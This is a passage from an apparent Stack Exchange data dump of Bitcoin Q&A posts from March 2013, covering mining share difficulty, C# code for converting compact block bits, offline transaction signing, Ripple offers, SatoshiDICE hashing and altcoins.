  <row Id="8098" PostTypeId="2" ParentId="8089" CreationDate="2013-03-04T02:37:30.490" Score="5" Body="&lt;p&gt;Increasing your submission difficulty will reduce the number of shares you submit, in turn reducing your bandwidth costs and your pool's bandwidth requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside for you as a miner is that increasing your share submission difficulty increases your variance in earnings. If you mine at a pool with user determined share submission difficulty (such as HHTT and Itzod) then it's up to you to decide how much variance you can bear. &lt;a href=&quot;http://organofcorti.blogspot.com/2012/10/71-variable-pool-difficulty.html&quot; rel=&quot;noreferrer&quot;&gt;I've covered in detail the amount by which your earnings variance increases with increasing share difficulty elsewhere,&lt;/a&gt; and you may want to look there for specific details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, at pools which automatically change submission difficulty to keep you submitting at a constant number of shares per minute, the variance should not be noticeable over an hour, and definitely not noticeable over a day.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2013-03-04T02:37:30.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8099" PostTypeId="2" ParentId="8096" CreationDate="2013-03-04T03:36:50.663" Score="2" Body="&lt;p&gt;That's the thing about a pseudonymous digital currency -- there's little information that can be gleamed from the blockchain data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some metrics reported in aggregate by the payment processors and others.  For instance, last month BitPay shared during a discussion that they had surpassed 10,000 transactions since their launch over a year earlier.  They didn't provide the number of bitcoins as well or give the average amount per-transaction.  They are probably the largest payment processor but even that amount is pretty insignificant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This data will probably be most accurately obtained through user surveys and from there extrapolate.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-04T03:36:50.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8100" PostTypeId="1" CreationDate="2013-03-04T03:42:01.110" Score="3" ViewCount="1198" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The code in this question works for all test cases (Hurray!) however I don't like how &lt;code&gt;GetCompact&lt;/code&gt; uses the &lt;code&gt;Math.Abs&lt;/code&gt; function and don't think it's true to the OpenSSL implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixing this issue will probably make this implementation &quot;perfect&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core issue (I believe) is when .NET does a bit-shift of a negative number, it expands the negative number and because it's stored in Two's compliment, the left shift extra bytes are all ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C++ likely does something different when left shifting a BigInteger, because according to the &lt;a href=&quot;https://stackoverflow.com/q/3784996/328397&quot;&gt;C++ spec, left shifting negative numbers is undefined.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to use the corresponding &lt;a href=&quot;https://stackoverflow.com/a/15329294/328397&quot;&gt;multiplication or division instead of a shift.&lt;/a&gt; ... I'm not sure how to do that, so your help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm working on the following C# code, and tried to make it faithful to the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bignum.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;original C++ source.&lt;/a&gt;  And I'm trying to get this code to match &lt;a href=&quot;https://bitcoin.stackexchange.com/q/8045/1878&quot;&gt;the unit tests described here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is not only to have a .NET representation of the QT data structures, but also to read and parse JSON-RPC code as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C# Tests&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       BigInteger bb =   BitcoinQT.SetCompact(numToCompact);&#xA;&#xA;&#xA;        bb = BitcoinQT.SetCompact(0x00123456);&#xA;       /*&#xA;       00000000000100100011010001010110 SetCompact:&#xA;       00000000011111111111111111111111 Bitmask &amp;amp; (extract 0..23)&#xA;       00000000000100100011010001010110 result&#xA;       00000000000000000000000000000000 Read bytes 25..32 (&amp;gt;&amp;gt; 24)&#xA;       000100100011010001010110 preshifted 24&#xA;       00000000 postshifted 24&#xA;       00000000100000000000000000000000 ... check bit is neg&#xA;       00000000000000000000000000000000 ... Result&#xA;&#xA;       00000000000000000000000000001100 ERROR RESULT SHOULD BE THIS &#xA;        */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C# code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   class BlockTargetBits&#xA;{&#xA;&#xA;   static  bool debug = false;&#xA;&#xA;   internal static string GetCompact(BigInteger originalBigNumber)&#xA;   {&#xA;       // &#xA;       // &#xA;       // Get Compact&#xA;       BigInteger num = originalBigNumber;&#xA;       byte[] numAsBytes = num.ToByteArray();&#xA;       uint compactBitsRepresentation = 0;&#xA;       uint size2;// BN_num_bytes(num);&#xA;       size2 = (uint)originalBigNumber.NumberOfBytes();&#xA;       if (size2 &amp;lt;= 3)&#xA;       {&#xA;           uint amountToShift2 = 8 * (3 - size2);&#xA;           if (debug) Console.WriteLine(GetBits(num) + &quot; will be shifted &quot; + amountToShift2);&#xA;           compactBitsRepresentation = (uint)(int)(BigInteger.Abs(num) &amp;lt;&amp;lt; (int)amountToShift2);  // HACK: -- ABS MAY NOT BE THE CORRECT THING TO USE HERE&#xA;           if (debug) Console.WriteLine(GetBits(compactBitsRepresentation) + &quot; was shifted &quot; + amountToShift2);&#xA;       }&#xA;       else&#xA;       {&#xA;           BigInteger bn = num;&#xA;           uint amountToShift2 = 8 * (size2 - 3);&#xA;           if (debug) Console.WriteLine(GetBits(bn) + &quot; will be shifted &quot; + amountToShift2);&#xA;           var bnShifted = BigInteger.Abs(bn) &amp;gt;&amp;gt; (int)amountToShift2;  // HACK: -- ABS MAY NOT BE THE CORRECT THING TO USE HERE&#xA;           compactBitsRepresentation = (uint)bnShifted;&#xA;       }&#xA;&#xA;       // The 0x00800000 bit denotes the sign.&#xA;       // Thus, if it is already set, divide the mantissa by 256 and increase the exponent.&#xA;       Console.WriteLine(compactBitsRepresentation.ToString(&quot;x&quot;));&#xA;       if ((compactBitsRepresentation &amp;amp; 0x00800000) != 0)&#xA;       {&#xA;           compactBitsRepresentation &amp;gt;&amp;gt;= 8;&#xA;           size2++;&#xA;       }&#xA;       if (debug) Console.WriteLine(GetBits(size2) + &quot; size &quot;);&#xA;&#xA;       var tmp = size2 &amp;lt;&amp;lt; 24;&#xA;       if (debug) Console.WriteLine(GetBits(tmp) + &quot; size (shifted to proper postion)&quot;);&#xA;       compactBitsRepresentation |= size2 &amp;lt;&amp;lt; 24;&#xA;       if (debug) Console.WriteLine(&quot;21 987654321 987654321 987654321&quot;);&#xA;       if (debug) Console.WriteLine(GetBits(compactBitsRepresentation) + &quot; size # then compact&quot;);&#xA;&#xA;       compactBitsRepresentation |= (num.Sign &amp;lt; 0 ? (uint)0x00800000 : 0);&#xA;&#xA;       if (compactBitsRepresentation == 0)&#xA;           return &quot;0&quot;;&#xA;       return &quot;0x&quot; + compactBitsRepresentation.ToString(&quot;x8&quot;);&#xA;   }&#xA;&#xA;&#xA;     internal static System.Numerics.BigInteger SetCompact(uint numToCompact)&#xA;    {&#xA;        if (debug)   Console.WriteLine(GetBits(numToCompact) + &quot; This number will be compacted &quot;);&#xA;&#xA;        //&#xA;        //  SetCompact&#xA;        // Extract the number from bits 0..23&#xA;        if (debug)  Console.WriteLine(GetBits(0x007fffff) + &quot; Bitmask &amp;amp; (extract 0..23) &quot;);&#xA;&#xA;        uint nWord = numToCompact &amp;amp; 0x007fffff;&#xA;        if (debug)  Console.WriteLine(GetBits(nWord) + &quot; result &quot;);&#xA;&#xA;&#xA;        BigInteger ret = new BigInteger(nWord);&#xA;&#xA;        // Add zeroes to the left according to bits 25..32&#xA;        var ttt =  ret.ToByteArray();&#xA;&#xA;        uint size = numToCompact &amp;gt;&amp;gt; 24;&#xA;        if (debug)  Console.WriteLine(GetBits(size) + &quot; Read bytes 25..32 (&amp;gt;&amp;gt; 24) &quot;);&#xA;&#xA;&#xA;        uint amountToShift = 0;&#xA;        if (size &amp;lt;= 3)&#xA;        {&#xA;            amountToShift = 8 * (3 - size);&#xA;            if (debug)  Console.WriteLine(GetBits(ret) + &quot; preshifted &quot; + amountToShift);&#xA;&#xA;            ret = ret &amp;gt;&amp;gt; (int)amountToShift;&#xA;            if (debug) Console.WriteLine( GetBits(ret)+ &quot; postshifted &quot; + amountToShift );&#xA;        }&#xA;        else&#xA;        {&#xA;            amountToShift = 8 * (size - 3);&#xA;            if (debug) Console.WriteLine(GetBits(ret) + &quot; preshifted &quot; + amountToShift);&#xA;&#xA;            ret = ret &amp;lt;&amp;lt; (int)amountToShift;&#xA;&#xA;            if (debug)   Console.WriteLine(GetBits(ret) + &quot; shifted &quot; + amountToShift);&#xA;        }&#xA;&#xA;        // Set the value negative if required per bit 24&#xA;        if (debug) Console.WriteLine(GetBits(0x00800000) + &quot; ... check bit is neg&quot;);&#xA;&#xA;        UInt32 isNegative = 0x00800000 &amp;amp; numToCompact;&#xA;&#xA;        if (debug)  Console.WriteLine(GetBits(isNegative) + &quot; ... Result&quot;);&#xA;&#xA;        if (isNegative != 0)&#xA;            ret = ret * -1;  &#xA;&#xA;        var test = ret.ToByteArray();&#xA;        if (debug) Console.WriteLine(ret + &quot; return&quot;);&#xA;        if (debug) Console.WriteLine();&#xA;        return ret;&#xA;    }&#xA;&#xA;    internal static string GetHex(BigInteger bb)&#xA;    {&#xA;        if (bb == 0)&#xA;            return &quot;0&quot;;&#xA;        else &#xA;        return bb.ToSignedHexString().TrimStart(&quot;0&quot;.ToCharArray());&#xA;    }&#xA;&#xA;    public static string GetBits(BigInteger num)&#xA;    {&#xA;        return GetBits(num.ToByteArray());&#xA;&#xA;    }&#xA;    public static string GetBits(int num)&#xA;    {&#xA;        return GetBits(BitConverter.GetBytes(num));&#xA;    }&#xA;    public static string GetBits(uint num)&#xA;    {&#xA;       return  GetBits(BitConverter.GetBytes(num));&#xA;    }&#xA;    public static string GetBits(byte[] bytes)&#xA;    {&#xA;        StringBuilder sb = new StringBuilder();&#xA;&#xA;&#xA;        int bitPos = (8 * bytes.Length) -1;&#xA;        while (bitPos &amp;gt;  -1)&#xA;        {&#xA;            int byteIndex = bitPos / 8;&#xA;            int offset = bitPos % 8;&#xA;            bool isSet = (bytes[byteIndex] &amp;amp; (1 &amp;lt;&amp;lt; offset)) != 0;&#xA;&#xA;            // isSet = [True] if the bit at bitPos is set, false otherwise&#xA;            if (isSet)&#xA;                sb.Append(&quot;1&quot;);&#xA;            else&#xA;                sb.Append(&quot;0&quot;);&#xA;            bitPos--;&#xA;        }&#xA;&#xA;&#xA;        return sb.ToString();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-03-13T03:29:45.957" Title="What is wrong with this C# code that converts a block's bits into a target?" Tags="|development|c#|difficulty|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8101" PostTypeId="1" CreationDate="2013-03-04T04:44:16.297" Score="19" ViewCount="15241" Body="&lt;p&gt;I think it is possible to generate keys on an offline computer and sign. To create a transaction I need to input transactions detail, and somehow I have to transfer signed transaction from offline computer to a online computer to relay the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this without using USB storage? I can use a keyboard, or barcode reader to transfer the input transaction hash to an offline computer and the signed transaction back to the online computer. So that private key stays with the offline computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are step-by-step instructions to do this, with any required error check / correction?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="1405" LastEditDate="2014-04-03T10:57:23.630" LastActivityDate="2017-12-17T10:07:32.863" Title="How to sign a transaction using only an offline computer?" Tags="|transactions|offline|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8102" PostTypeId="2" ParentId="8100" CreationDate="2013-03-04T05:15:16.300" Score="3" Body="&lt;p&gt;Here's one thing I'm pretty sure is a bug, in your compact to BigInteger method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ret = ret &amp;lt;&amp;lt; (int)amountToShift;&#xA;        amountToShift = 8 * (size - 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ought to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        amountToShift = 8 * (size - 3);&#xA;        ret = ret &amp;lt;&amp;lt; (int)amountToShift;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Found another, in your BigInteger to compact method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ret = ret &amp;lt;&amp;lt; (int)amountToShift2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the thing: ret is never used anywhere else. I'm fairly sure you meant to assign to ret2, and cast to an unsigned integer. Remember to fix both instances of this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lemme know if those two suggestions don't fix things.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-03-04T05:36:13.757" LastActivityDate="2013-03-04T05:36:13.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8103" PostTypeId="2" ParentId="8090" CreationDate="2013-03-04T05:20:16.323" Score="3" Body="&lt;p&gt;If you could get recent GPUs (Radeon HD 6850 or newer) for very, very cheap, you &lt;em&gt;might&lt;/em&gt; be able to make a couple of Bitcoin per month. It may not be worth it, depending your electricity costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use these tools to help guide you to an informed decision:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00009MDBU&quot; rel=&quot;nofollow&quot;&gt;P3 Kill A Watt&lt;/a&gt; power meter, to find your actual power consumption&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Mining hardware comparison&lt;/a&gt;, to find a GPU that will work in your system and plug its hashrate into...&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;Mining profitability calculator&lt;/a&gt;, to calculate what your break even or profit point will be.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt; is probably your best bet given the equipment that you already have.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-04T05:20:16.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8104" PostTypeId="2" ParentId="8101" CreationDate="2013-03-04T05:54:27.950" Score="11" Body="&lt;p&gt;You're correct that the offline node needs to how to claim its funds, so it can't be totally isolated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the most mature offline wallet solution is through a client called &lt;a href=&quot;http://bitcoinarmory.com/&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Armory&lt;/a&gt;. Here's what your workflow looks like with offline wallets:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Online node creates transaction -&gt; USB key -&gt; Offline computer signs transaction -&gt; USB key -&gt; Online node broadcasts transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use Windows, Linux, or Mac for your offline wallet, but I'd recommend Linux, as it's difficult to disable AutoRun/AutoPlay on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinarmory.com/get-armory/&quot; rel=&quot;noreferrer&quot;&gt;Windows/Linux&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=156250.msg1655941#msg1655941&quot; rel=&quot;noreferrer&quot;&gt;Mac&lt;/a&gt; - Beta&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/tutorials/armory-advanced-features/offline-wallets/&quot; rel=&quot;noreferrer&quot;&gt;This page&lt;/a&gt; explains offline transactions in greater detail. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-27T16:49:53.557" LastActivityDate="2015-02-27T16:49:53.557" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8105" PostTypeId="1" CreationDate="2013-03-04T05:56:28.110" Score="0" ViewCount="107" Body="&lt;p&gt;How much does each offer created increase the XRP requirement on that account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it relate to PayerGets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it cleared once I cancel the offer?&lt;/p&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2013-05-12T00:10:12.753" Title="How does offer creation impact fund requirement of an account?" Tags="|ripple|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8106" PostTypeId="2" ParentId="8105" CreationDate="2013-03-04T05:58:44.643" Score="0" Body="&lt;p&gt;(jed2 on irc) abrkn: 50 xrp. Doesn't matter what the offer is for. It is cleared when the offer is canceled (or fulfilled).&lt;/p&gt;&#xA;" OwnerUserId="2017" LastEditorUserId="196" LastEditDate="2013-03-04T14:30:07.147" LastActivityDate="2013-03-04T14:30:07.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8107" PostTypeId="1" AcceptedAnswerId="8108" CreationDate="2013-03-04T06:25:03.810" Score="8" ViewCount="792" Body="&lt;p&gt;Why does satoshidice have to re-hash the transaction details in order to determine your &quot;lucky&quot; number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there no publicly viewable randomized numbers or hashes that are impossible for the sender to duplicate without broadcasting the transaction?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="153" LastEditDate="2013-03-04T07:44:24.293" LastActivityDate="2020-06-16T20:53:57.793" Title="Are transaction hashes random?" Tags="|satoshidice|gambling|random|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8108" PostTypeId="2" ParentId="8107" CreationDate="2013-03-04T07:40:50.833" Score="9" Body="&lt;p&gt;The transaction hash is determined by the contents of the transaction.  As such the payment sender determines the transaction hash so it is not random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the SatoshiDICE bettor does not know the secret that SatoshiDICE will use and the result of the hash after including the secret is &lt;a href=&quot;http://bitcointalk.org/index.php?topic=77206.0&quot; rel=&quot;noreferrer&quot;&gt;for all practical purposes random&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know that SatoshiDICE didn't cheat, the hash of the secret is known to the bettor in advance and then released the following day.  So the bettor can verify that correct secret was indeed used, and with that verify that the correct payout occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since SatoshiDICE wagers are bets against the house, all that is needed is a way to determine that the house properly made each payout.  This method of using the transction hash plus secret (revealed at a later time) succeeds at providing  just that.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="117" LastEditDate="2013-03-04T10:51:29.973" LastActivityDate="2013-03-04T10:51:29.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8109" PostTypeId="1" AcceptedAnswerId="8128" CreationDate="2013-03-04T08:45:47.077" Score="36" ViewCount="29531" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/connected-nodes&quot;&gt;At this moment, blockchain.info has over 1,900 nodes connected to their bitcoin client.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been running an m1.small ubuntu 12.04 server and bitcoind for ~4 days straight now with no reboots. My bitcoind client still only shows ~60 connections maximum when performing a &quot;./bitcoind getinfo&quot; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve 1,000+ connections to my bitcoind client? And is it &quot;worth it&quot; in your opinion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have re-started my bitcoind client with the -maxconnections=1000 and -timeout=15000 parameters but after ~12 hours of running bitcoind, the number of connections is only up to ~40. And I don't seem to be maxing out my CPU, RAM, or bandwidth just yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: &lt;a href=&quot;http://blockchain.info/connected-nodes&quot;&gt;I have not seen a &quot;connected time&quot; over 8 hours in the list provided by blockchain.info&lt;/a&gt; so that tells me they must restart their server every 8 hours or so. Either that, or connections drop and refresh after 8 hours? &lt;strong&gt;I am beginning to think that blockchain.info keeps track of IP addresses running bitcoin in a database of sorts... and forefully connects to them every time their bitcoind reboots. Am I right?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="3145" LastEditDate="2013-03-05T18:25:09.630" LastActivityDate="2018-10-06T10:18:16.420" Title="How does one attain 1,000+ connections like blockchain.info?" Tags="|bitcoind|connection|" AnswerCount="6" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8110" PostTypeId="2" ParentId="8097" CreationDate="2013-03-04T09:31:04.363" Score="4" Body="&lt;p&gt;This is known as &quot;tags&quot;, and it is 'blockchain.info' specific. You can use any web page, or bitcointalk.org user profile or bitcoin-otc Id as link. Your link page should contain your address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tags&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-03-04T09:31:04.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8111" PostTypeId="1" AcceptedAnswerId="8127" CreationDate="2013-03-04T09:54:41.013" Score="8" ViewCount="51266" Body="&lt;p&gt;What are QR codes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you use the QR code for payment function on the wallet ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When would you use it ?&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2020-02-28T04:33:44.667" Title="What are QR codes and How do you use them as request payment from Wallet?" Tags="|transactions|wallet|qrcode|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8112" PostTypeId="1" AcceptedAnswerId="8146" CreationDate="2013-03-04T12:10:52.140" Score="6" ViewCount="1165" Body="&lt;p&gt;Currently there isn't a graph of the ripple trade values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know if each trade is recorded in the Ripple's equivalent of the blockchain, so that if in future someone wants to build such graph, it will be able to include old data instead of just newer one.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="3120" LastEditDate="2013-12-30T22:44:19.983" LastActivityDate="2013-12-30T22:44:19.983" Title="Is Ripple's trade history recorded?" Tags="|blockchain|ripple|trading|exchange-rate|charts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8113" PostTypeId="1" AcceptedAnswerId="10293" CreationDate="2013-03-04T14:23:22.770" Score="6" ViewCount="142" Body="&lt;p&gt;If two offers have the same exchange rate, how does Ripple decide which one to fulfil first?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-26T18:53:08.410" Title="How does Ripple decide which offer to fulfil if they offer the same rate?" Tags="|ripple|trading|exchange-rate|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8114" PostTypeId="1" CreationDate="2013-03-04T14:56:43.210" Score="17" ViewCount="8682" Body="&lt;p&gt;I don't understand why people need to create alternatives to Bitcoin such as litecoin. Why were these created? What's the point? You can't answer those questions using the same arguments for why Bitcoin was created.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2013-03-04T15:32:45.793" LastActivityDate="2014-03-02T13:03:51.070" Title="Why do we need alternatives to Bitcoin?" Tags="|alternatives|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8115" PostTypeId="1" CreationDate="2013-03-04T14:59:19.093" Score="7" ViewCount="502" Body="&lt;p&gt;If you had a mining pool that was generating a few blocks per week, then why not just cache all the payout transactions (if the clients were happy to do this) and then just put them in the next successful block it mines - thus saving on transaction costs ? &lt;/p&gt;&#xA;" OwnerUserId="2601" LastEditorUserId="5406" LastEditDate="2016-02-21T10:13:23.093" LastActivityDate="2016-02-21T10:13:23.093" Title="When a mining pool pays out to the workers, why does it not just cache the transaction and then pay zero fees on its next successful block?" Tags="|mining-pools|transaction-fees|block|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8116" PostTypeId="2" ParentId="8114" CreationDate="2013-03-04T15:23:44.657" Score="2" Body="&lt;p&gt;&lt;strong&gt;Namecoin&lt;/strong&gt; had a reason to be created: it is not intended as a currency, it is intended as an &lt;strong&gt;alternative DNS system&lt;/strong&gt;. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/169/are-the-capabilities-of-namecoin-a-strict-superset-of-bitcoin&quot;&gt;Here&lt;/a&gt; you find the explaination about why they had to create a separate currency instead of &quot;just using Bitcoin's blockchain&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It failed due to their &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3644/namecoin-is-there-any-rationale-behind-the-apparently-foolish-choice-of-havin&quot;&gt;foolish choice&lt;/a&gt; to have the domains be basically free.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nxtcrypto.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Nextcoin&lt;/strong&gt; (NXT)&lt;/a&gt; uses a &lt;strong&gt;proof-of-stake&lt;/strong&gt; instead of the Bitcoin's proof-of-work. This is much more eco-friendly, so that's definitely a good reason to create it. It also has many other features, being a completely different codebase.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As @jtimon correctly points out, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7500&quot; rel=&quot;nofollow noreferrer&quot;&gt;some coins&lt;/a&gt; (such as &lt;strong&gt;Freicoin&lt;/strong&gt;) were created to experiment with &lt;strong&gt;different economic models&lt;/strong&gt;, so, despite having extremely small chances of success, at least they were/are worthy experiments.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;All of the other Bitcoin-like currencies are either &lt;strong&gt;scams&lt;/strong&gt; (Solidcoin) or the product of &lt;strong&gt;kids&lt;/strong&gt; who desperately wanted to &quot;&lt;strong&gt;play miner&lt;/strong&gt;&quot; and were disappointed they couldn't do it anymore with their hardware: they created special coins with the goal of being optimised for &lt;em&gt;their current hardware&lt;/em&gt;, instead of the goal of being as secure as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only this is (obviously) a very poor design choice, but it was also doomed to fail in the long run: if those currencies were to have success (not that they had any real chance), custom hardware &lt;strong&gt;would have been built anyway&lt;/strong&gt;, spawning in future more kids who weren't able to &quot;play miner&quot; with that currency either.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sorry for being harsh but speaking out the truth is what is needed in such a question.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-03-02T13:03:51.070" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8117" PostTypeId="2" ParentId="8114" CreationDate="2013-03-04T15:33:34.993" Score="2" Body="&lt;p&gt;Everyone doesn't have to accept the same principle (philosophies) as of Bitcoin. Alternate coins (or even, Ripple) in a more simplified way, just Bitcoin with various parameters (philosophies) adjusted. like it or not, bitcoin does reward early-adopters unfairly(?). may be Bitcoin did that for survival / evolution purpose. After all it is open market, and always there is an opportunity for new financial services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when a government wants to adopt it then it could simply start bitcoin-like public ledger, sign and log all (?) the transactions, take mining out of equation, etc. there are various parameters, so many options and preferences vary. &lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-03-04T15:33:34.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8118" PostTypeId="2" ParentId="8111" CreationDate="2013-03-04T16:42:27.847" Score="4" Body="&lt;p&gt;Nowadays pretty much every device has a camera built in so it is much easier to scan the QR code rather than typing very long Bitcoin account address. If you have wallet in your mobile phone and you want to send money to someone he can email you the QR code and you will be able to scan it quickly with your phone and send the money. Without that you would have to type in on your phone the whole Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same goes to receiving Bitcoins, you can easily send QR code to someone. If you make face to face transactions with Bitcoin you can exchange Bitcoin addresses just in few seconds, without typing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate a QR code you can use one of the free online tools like &lt;a href=&quot;http://qrcode.kaywa.com/&quot; rel=&quot;nofollow&quot;&gt;http://qrcode.kaywa.com/&lt;/a&gt; or &lt;a 